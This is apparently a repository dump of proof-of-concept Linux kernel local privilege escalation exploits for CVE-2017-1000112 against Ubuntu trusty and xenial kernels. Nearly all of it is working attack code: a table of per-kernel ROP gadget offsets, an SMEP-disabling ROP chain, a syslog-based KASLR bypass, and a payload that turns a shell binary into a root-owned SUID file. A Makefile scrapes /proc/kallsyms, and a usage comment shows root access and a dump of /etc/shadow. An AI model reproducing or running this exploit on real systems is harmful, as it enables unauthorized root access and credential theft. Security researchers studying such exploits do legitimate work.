exit(EXIT_FAILURE); 448 | } 449 | 450 | int val = 1; 451 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 452 | if (rv != 0) { 453 | perror("[-] setsockopt(SO_NO_CHECK)"); 454 | exit(EXIT_FAILURE); 455 | } 456 | 457 | send(s, buffer, 1, 0); 458 | 459 | close(s); 460 | } 461 | 462 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 463 | 464 | #define CHUNK_SIZE 1024 465 | 466 | int read_file(const char* file, char* buffer, int max_length) { 467 | int f = open(file, O_RDONLY); 468 | if (f == -1) 469 | return -1; 470 | int bytes_read = 0; 471 | while (true) { 472 | int bytes_to_read = CHUNK_SIZE; 473 | if (bytes_to_read > max_length - bytes_read) 474 | bytes_to_read = max_length - bytes_read; 475 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 476 | if (rv == -1) 477 | return -1; 478 | bytes_read += rv; 479 | if (rv == 0) 480 | return bytes_read; 481 | } 482 | } 483 | 484 | #define LSB_RELEASE_LENGTH 1024 485 | 486 | void get_distro_codename(char* output, int max_length) { 487 | char buffer[LSB_RELEASE_LENGTH]; 488 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 489 | if (length == -1) { 490 | perror("[-] open/read(/etc/lsb-release)"); 491 | exit(EXIT_FAILURE); 492 | } 493 | const char *needle = "DISTRIB_CODENAME="; 494 | int needle_length = strlen(needle); 495 | char* found = memmem(&buffer[0], length, needle, needle_length); 496 | if (found == NULL) { 497 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 498 | exit(EXIT_FAILURE); 499 | } 500 | int i; 501 | for (i = 0; found[needle_length + i] != '\n'; i++) { 502 | assert(i < max_length); 503 | assert((found - &buffer[0]) + needle_length + i < length); 504 | output[i] = found[needle_length + i]; 505 | } 506 | } 507 | 508 | void get_kernel_version(char* output, int max_length) { 509 | struct utsname u; 510 | int rv = uname(&u); 511 | if (rv != 0) { 512 | perror("[-] uname())"); 513 | exit(EXIT_FAILURE); 514 | } 515 | assert(strlen(u.release) <= max_length); 516 | strcpy(&output[0], u.release); 517 | } 518 | 519 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 520 | 521 | #define DISTRO_CODENAME_LENGTH 32 522 | #define KERNEL_VERSION_LENGTH 32 523 | 524 | void detect_versions() { 525 | char codename[DISTRO_CODENAME_LENGTH]; 526 | char version[KERNEL_VERSION_LENGTH]; 527 | 528 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 529 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 530 | 531 | int i; 532 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 533 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 534 | strcmp(&version[0], kernels[i].version) == 0) { 535 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 536 | kernel = i; 537 | return; 538 | } 539 | } 540 | 541 | printf("[-] kernel version not recognized\n"); 542 | exit(EXIT_FAILURE); 543 | } 544 | 545 | #define PROC_CPUINFO_LENGTH 4096 546 | 547 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 548 | int smap_smep_enabled() { 549 | char buffer[PROC_CPUINFO_LENGTH]; 550 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 551 | if (length == -1) { 552 | perror("[-] open/read(/proc/cpuinfo)"); 553 | exit(EXIT_FAILURE); 554 | } 555 | int rv = 0; 556 | char* found = memmem(&buffer[0], length, "smep", 4); 557 | if (found != NULL) 558 | rv += 1; 559 | found = memmem(&buffer[0], length, "smap", 4); 560 | if (found != NULL) 561 | rv += 2; 562 | return rv; 563 | } 564 | 565 | void check_smep_smap() { 566 | int rv = smap_smep_enabled(); 567 | if (rv >= 2) { 568 | printf("[-] SMAP detected, no bypass available\n"); 569 | exit(EXIT_FAILURE); 570 | } 571 | #if !ENABLE_SMEP_BYPASS 572 | if (rv >= 1) { 573 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 574 | exit(EXIT_FAILURE); 575 | } 576 | #endif 577 | } 578 | 579 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 580 | 581 | static bool write_file(const char* file, const char* what, ...) { 582 | char buf[1024]; 583 | va_list args; 584 | va_start(args, what); 585 | vsnprintf(buf, sizeof(buf), what, args); 586 | va_end(args); 587 | buf[sizeof(buf) - 1] = 0; 588 | int len = strlen(buf); 589 | 590 | int fd = open(file, O_WRONLY | O_CLOEXEC); 591 | if (fd == -1) 592 | return false; 593 | if (write(fd, buf, len) != len) { 594 | close(fd); 595 | return false; 596 | } 597 | close(fd); 598 | return true; 599 | } 600 | 601 | void setup_sandbox() { 602 | int real_uid = getuid(); 603 | int real_gid = getgid(); 604 | 605 | if (unshare(CLONE_NEWUSER) != 0) { 606 | printf("[!] unprivileged user namespaces are not available\n"); 607 | perror("[-] unshare(CLONE_NEWUSER)"); 608 | exit(EXIT_FAILURE); 609 | } 610 | if (unshare(CLONE_NEWNET) != 0) { 611 | perror("[-] unshare(CLONE_NEWUSER)"); 612 | exit(EXIT_FAILURE); 613 | } 614 | 615 | if (!write_file("/proc/self/setgroups", "deny")) { 616 | perror("[-] write_file(/proc/self/set_groups)"); 617 | exit(EXIT_FAILURE); 618 | } 619 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 620 | perror("[-] write_file(/proc/self/uid_map)"); 621 | exit(EXIT_FAILURE); 622 | } 623 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 624 | perror("[-] write_file(/proc/self/gid_map)"); 625 | exit(EXIT_FAILURE); 626 | } 627 | 628 | cpu_set_t my_set; 629 | CPU_ZERO(&my_set); 630 | CPU_SET(0, &my_set); 631 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 632 | perror("[-] sched_setaffinity()"); 633 | exit(EXIT_FAILURE); 634 | } 635 | 636 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 637 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 638 | exit(EXIT_FAILURE); 639 | } 640 | if (system("/sbin/ifconfig lo up") != 0) { 641 | perror("[-] system(/sbin/ifconfig lo up)"); 642 | exit(EXIT_FAILURE); 643 | } 644 | } 645 | 646 | void exec_shell() { 647 | char* shell = "/bin/bash"; 648 | char* args[] = {shell, "-i", NULL}; 649 | execve(shell, args, NULL); 650 | } 651 | 652 | bool is_root() { 653 | // We can't simple check uid, since we're running inside a namespace 654 | // with uid set to 0. Try opening /etc/shadow instead. 655 | int fd = open("/etc/shadow", O_RDONLY); 656 | if (fd == -1) 657 | return false; 658 | close(fd); 659 | return true; 660 | } 661 | 662 | void check_root() { 663 | printf("[.] checking if we got root\n"); 664 | if (!is_root()) { 665 | printf("[-] something went wrong =(\n"); 666 | return; 667 | } 668 | printf("[+] got r00t ^_^\n"); 669 | exec_shell(); 670 | } 671 | 672 | int main(int argc, char** argv) { 673 | printf("[.] starting\n"); 674 | 675 | printf("[.] checking distro and kernel versions\n"); 676 | detect_versions(); 677 | printf("[~] done, versions looks good\n"); 678 | 679 | printf("[.] checking SMEP and SMAP\n"); 680 | check_smep_smap(); 681 | printf("[~] done, looks good\n"); 682 | 683 | if (!fork()) { 684 | sleep(2), execl(SHELL, "shell", NULL); 685 | } 686 | 687 | printf("[.] setting up namespace sandbox\n"); 688 | setup_sandbox(); 689 | printf("[~] done, namespace sandbox set up\n"); 690 | 691 | #if ENABLE_KASLR_BYPASS 692 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 693 | KERNEL_BASE = get_kernel_addr(); 694 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 695 | #endif 696 | 697 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 698 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 699 | 700 | unsigned long payload = (unsigned long)&get_root; 701 | 702 | #if ENABLE_SMEP_BYPASS 703 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 704 | mmap_stack(); 705 | payload = XCHG_EAX_ESP_RET; 706 | printf("[~] done, fake stack mmapped\n"); 707 | #endif 708 | 709 | printf("[.] executing payload %lx\n", payload); 710 | oob_execute(payload); 711 | printf("[~] done, should be root now\n"); 712 | 713 | wait(NULL); 714 | 715 | return 0; 716 | } 717 | -------------------------------------------------------------------------------- /003-direct_inode_manipulation/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | -------------------------------------------------------------------------------- /003-direct_inode_manipulation/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = user_path_at_empty|path_put 2 | 3 | .PHONY: all 4 | all: poc.c ../shell/shell.c 5 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 6 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 7 | gcc ../shell/shell.c -o shell 8 | gcc poc.c -o poc 9 | 10 | .PHONY: clean 11 | clean: 12 | rm -f shell poc poc.h 13 | -------------------------------------------------------------------------------- /003-direct_inode_manipulation/README.md: -------------------------------------------------------------------------------- 1 | direct inode manipulation 2 | ========================= 3 | 4 | The idea of direct inode manipulation is the following: 5 | 1) Create a shell binary 6 | 2) Exploit the vulnerability and change shell's inode (file) properties so it will be owned by root:root with SUID bit set 7 | 8 | Here is the modified `get_root()` function of the original CVE-2017-1000112 exploit: 9 | 10 | ~~~ 11 | void get_root(void) { 12 | struct path path = { 0 }; 13 | if (!user_path_at_empty(AT_FDCWD, SHELL, 0, &path, NULL)) { 14 | void *inode = (void *)(*(unsigned long *)(path.dentry + 48)); // dentry->d_inode 15 | *(unsigned short *)(inode + 0) = 0104755; // inode->i_mode 16 | *(unsigned int *)(inode + 4) = 0; // inode->i_uid 17 | *(unsigned int *)(inode + 8) = 0; // inode->i_gid 18 | path_put(&path); 19 | } 20 | } 21 | ~~~ 22 | -------------------------------------------------------------------------------- /003-direct_inode_manipulation/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | struct path { 166 | void *mnt; 167 | void *dentry; 168 | }; 169 | 170 | int (*user_path_at_empty)(int, const char *, unsigned, struct path *, int *) = (void *)X_user_path_at_empty; 171 | int (*path_put)(void *) = (void *)X_path_put; 172 | 173 | void get_root(void) { 174 | struct path path = { 0 }; 175 | if (!user_path_at_empty(AT_FDCWD, SHELL, 0, &path, NULL)) { 176 | void *inode = (void *)(*(unsigned long *)(path.dentry + 48)); // dentry->d_inode 177 | *(unsigned short *)(inode + 0) = 0104755; // inode->i_mode 178 | *(unsigned int *)(inode + 4) = 0; // inode->i_uid 179 | *(unsigned int *)(inode + 8) = 0; // inode->i_gid 180 | path_put(&path); 181 | } 182 | } 183 | 184 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 185 | 186 | uint64_t saved_esp; 187 | 188 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 189 | // can be used to omit a function's prologue, so I had to use this weird 190 | // wrapper hack as a workaround. Note: Clang does support it, which means it 191 | // has better support of GCC attributes than GCC itself. Funny. 192 | void wrapper() { 193 | asm volatile (" \n\ 194 | payload: \n\ 195 | movq %%rbp, %%rax \n\ 196 | movq $0xffffffff00000000, %%rdx \n\ 197 | andq %%rdx, %%rax \n\ 198 | movq %0, %%rdx \n\ 199 | addq %%rdx, %%rax \n\ 200 | movq %%rax, %%rsp \n\ 201 | call get_root \n\ 202 | ret \n\ 203 | " : : "m"(saved_esp) : ); 204 | } 205 | 206 | void payload(); 207 | 208 | #define CHAIN_SAVE_ESP \ 209 | *stack++ = POP_RDI_RET; \ 210 | *stack++ = (uint64_t)&saved_esp; \ 211 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 212 | 213 | #define SMEP_MASK 0x100000 214 | 215 | #define CHAIN_DISABLE_SMEP \ 216 | *stack++ = MOV_RAX_CR4_RET; \ 217 | *stack++ = NEG_RAX_RET; \ 218 | *stack++ = POP_RCX_RET; \ 219 | *stack++ = SMEP_MASK; \ 220 | *stack++ = OR_RAX_RCX_RET; \ 221 | *stack++ = NEG_RAX_RET; \ 222 | *stack++ = XCHG_EAX_EDI_RET; \ 223 | *stack++ = MOV_CR4_RDI_RET; 224 | 225 | #define CHAIN_JMP_PAYLOAD \ 226 | *stack++ = POP_RCX_RET; \ 227 | *stack++ = (uint64_t)&payload; \ 228 | *stack++ = JMP_RCX; 229 | 230 | void mmap_stack() { 231 | uint64_t stack_aligned, stack_addr; 232 | int page_size, stack_size, stack_offset; 233 | uint64_t* stack; 234 | 235 | page_size = getpagesize(); 236 | 237 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 238 | stack_addr = stack_aligned - page_size * 4; 239 | stack_size = page_size * 8; 240 | stack_offset = XCHG_EAX_ESP_RET % page_size; 241 | 242 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 243 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 244 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 245 | perror("[-] mmap()"); 246 | exit(EXIT_FAILURE); 247 | } 248 | 249 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 250 | 251 | CHAIN_SAVE_ESP; 252 | CHAIN_DISABLE_SMEP; 253 | CHAIN_JMP_PAYLOAD; 254 | } 255 | 256 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 257 | 258 | #define SYSLOG_ACTION_READ_ALL 3 259 | #define SYSLOG_ACTION_SIZE_BUFFER 10 260 | 261 | void mmap_syslog(char** buffer, int* size) { 262 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 263 | if (*size == -1) { 264 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 265 | exit(EXIT_FAILURE); 266 | } 267 | 268 | *size = (*size / getpagesize() + 1) * getpagesize(); 269 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 270 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 271 | 272 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 273 | if (*size == -1) { 274 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 275 | exit(EXIT_FAILURE); 276 | } 277 | } 278 | 279 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 280 | const char* needle1 = "Freeing unused"; 281 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 282 | if (substr == NULL) { 283 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 284 | exit(EXIT_FAILURE); 285 | } 286 | 287 | int start = 0; 288 | int end = 0; 289 | for (end = start; substr[end] != '-'; end++); 290 | 291 | const char* needle2 = "ffffff"; 292 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 293 | if (substr == NULL) { 294 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 295 | exit(EXIT_FAILURE); 296 | } 297 | 298 | char* endptr = &substr[16]; 299 | unsigned long r = strtoul(&substr[0], &endptr, 16); 300 | 301 | r &= 0xffffffffff000000ul; 302 | 303 | return r; 304 | } 305 | 306 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 307 | const char* needle1 = "Freeing unused"; 308 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 309 | if (substr == NULL) { 310 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 311 | exit(EXIT_FAILURE); 312 | } 313 | 314 | int start = 0; 315 | int end = 0; 316 | for (start = 0; substr[start] != '-'; start++); 317 | 